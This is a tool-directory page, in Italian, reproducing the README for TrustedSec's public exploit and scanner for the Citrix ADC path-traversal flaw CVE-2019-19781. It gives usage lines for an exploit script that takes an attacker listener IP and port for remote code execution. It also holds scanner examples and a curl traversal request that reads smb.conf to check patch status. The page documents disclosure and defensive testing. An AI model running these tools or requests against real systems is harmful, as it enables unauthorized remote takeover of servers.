Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-19781 — Questo è uno strumento pubblicato per la vulnerabilità di Citrix ADC (NetScaler). Stiamo divulgando questo solo perché altri hanno pubblicato per primi il codice dell'exploit. | Kitploit
Strumenti/GitHubGitHub/trustedsec/cve-2019-19781
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingStrumento di Accesso Remoto
GitHubtrustedsec/cve-2019-19781

cve-2019-19781

Questo è uno strumento pubblicato per la vulnerabilità di Citrix ADC (NetScaler). Stiamo divulgando questo solo perché altri hanno pubblicato per primi il codice dell'exploit.

Vedi Repository
5731256 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-19781

Questo è stato caricato solo perché altri ricercatori hanno pubblicato il loro codice per primi. Avremmo sperato di tenerlo nascosto ancora per un po', dando ai difensori il tempo adeguato per applicare le patch ai loro sistemi.

Siamo tutti per la divulgazione responsabile, ma in questo caso - il gatto era già uscito dal sacco.

Exploit: CVE-2019-19781

Citrixmash (exploit CVE-2019-19781)

root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py

Citrixmash v0.1 - Sfrutta il bug di Directory Traversal di Citrix: CVE-2019-19781 Strumento scritto da: Rob Simon e Dave Kennedy Contributi: The TrustedSec Team Sito web: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Forensics e IOC: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/

Questo strumento sfrutta un bug di directory traversal all'interno di Citrix ADC (NetScaler) che richiama uno script Perl utilizzato per aggiungere file in formato XML alla macchina vittima. Questo a sua volta consente l'esecuzione di codice in remoto.

Assicurati di ripulire queste due posizioni dei file: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/

Nota che i nomi host DNS e gli indirizzi IP sono supportati nei campi victimaddress e attackerip_listener.

Utilizzo:

python citrixmash.py <attackerip_listener> <attacker_port>

uso: citrixmash.py [-h] target targetport attackerip attackerport

Scanner CVE-2019-19781

Questo è un semplice test per verificare se il server è ancora vulnerabile a CVE-2019-19781.

Utilizzo: python3 cve-2019-19781.py

Nota: puoi usare notazioni CIDR come 192.168.1.1/24 e anche nomi host.

Indicherà se il server è ancora vulnerabile o meno. Puoi analizzare un solo server alla volta.

CVE-2019-19781-Scanner Azienda: TrustedSec Scritto da: Dave Kennedy Verifica se il sistema remoto è ancora vulnerabile a CVE-2019-19781. Analizzerà un solo host alla volta. Puoi usare anche notazioni CIDR, ad esempio: 192.168.1.1/24 Puoi usare nomi host invece degli indirizzi IP. Puoi anche usare un file con indirizzi IP generato da uno strumento esterno.

Esempio: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Esempio2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Esempio3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Esempio4: python3 cve-2019-19781_scanner.py as15169 443 Esempio5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Esempio6: python3 cve-2019-19781_scanner.py file:hostfile 443

Utilizzo: python3 cve-2019-19781_scanner.py targetip targetport

uso: cve-2019-19781_scanner.py [-h] target targetport [verbose]

Verifica manuale della patch

Se vuoi verificare se questa esposizione è stata mitigata, usa il seguente comando:

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is

Oppure, se stai usando una CA aziendale non pubblica o interna, puoi ignorare l'errore usando l'opzione --insecure

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure

Un codice 403 significa che hai applicato la patch, oppure se restituisce un sito Citrix e NON il file smb.conf stesso.

Se riesci a vedere smb.conf, allora sei vulnerabile.

Installazione

Per installare i requisiti, dovrai eseguire il comando qui sotto.

pip3 install -r requirements.txt

Scarica lo strumento